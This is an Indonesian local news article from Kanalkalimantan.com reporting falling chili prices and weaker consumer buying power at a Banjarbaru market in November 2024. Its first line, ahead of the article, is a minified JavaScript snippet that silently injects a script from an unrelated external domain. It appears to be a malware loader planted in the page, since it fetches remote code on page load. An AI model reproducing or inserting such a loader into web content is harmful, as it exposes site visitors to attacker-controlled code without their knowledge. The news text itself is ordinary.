(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Stok cabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) di Banjarbaru melimpah di awal November 2024 ini.
Akibat kelebihan stok salah satu komoditas bahan pangan pokok ini, harga cabai cenderung turun secara perlahan.
Hal itu diamini salah seorang pedagang cabai di Pasar Bauntung Banjarbaru, Halim, Minggu, (3/11/2024).
Baca juga: Zainal Fuad Pemuda HSU Hadirkan Sasirangan Pewarna Alami di Panggung IN2MF 2024
Halim menyebutkan, harga cabai japlak sebelumnya sempat mencapai Rp35 ribu per kilogram, kini turun menjadi Rp30 ribu per kilogram.
Kemudian harga cabai tiung mutiara sebelumnya Rp45 ribu, turun menjadi Rp40 ribu per kilogram.
Begitu juga cabai merah besar dan cabai keriting yang sebelumnya memiliki harga Rp20 ribu per kilogram, turun menjadi Rp15 ribu.
“Untuk saat ini harga cabai semakin turun, hampir rata Rp5 ribu turun per kilogramnya, sudah sekitar lima hari terakhir,” ujar Halim kepada Kanalkalimantan.com.
Baca juga: Peletakan Batu Pertama Islamic Center Wadi Mubarak, Ini Kata Pjs Wali Kota Banjarbaru
Di samping stok cabai melimpah, katanya, daya beli masyarakat diyakini menurun. Ditambah musim panen cabai secara bersamaan membuat harganya terus turun.
“Sebelumnya ada beberapa yang membeli cabai dua kilogram, sekarang hanya setengah kilogram saja,” ungkap dia.
“Daya beli masyarakat ini menurun karena pemasukan pendapatan mereka itu menurun efek dari domino karena sekarang banyak proyek-proyek ditutup,” sambungnya.
Dengan menurunnya daya beli membuat Halim selaku pedagang kembali memutar otak agar cabai dapat bertahan lama.
Baca juga: AMAN Dorong Pengakuan Masyarakat Adat Kalsel
Halim mengaku harus melalukan perawatan cabai dengan baik dan benar.
“Kalau perawatannya bagus, 10 hari bertahan, tapi kalau tidak bagus perawatannya, dua hari pasti busuk,” jelas Halim.
Daya beli masyarakat yang menurun itu turut dirasakan pedagang ayam ras potong di Pasar Bauntung Banjarbaru. Salah satunya Dwi, ia mengaku ikut merasakan daya beli masyarakat saat ini menurun, tidak seperti biasanya.
“Daya beli masyarakat kurang, ngga tahu juga kenapa, tapi kalau hari Sabtu dan Minggu rame aja di sini, kalau hari-hari biasa jam sembilan sudah agak sepi,” ujar Dwi.
Baca juga:Relawan Pemadam Api Hilang Nyawa saat Tugas, Gudang Golden 10 Berkobar Lebih dari 6 Jam
Menurutnya harga ayam potong saat ini relatif masih stabil, dalam satu hari biasa terjual 80 ekor sampai 100 ekor.
“Langganan banyak kalau di hari Sabtu dan Minggu, tapi memang penurunan daya beli ini terasa sekali,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
This website uses cookies.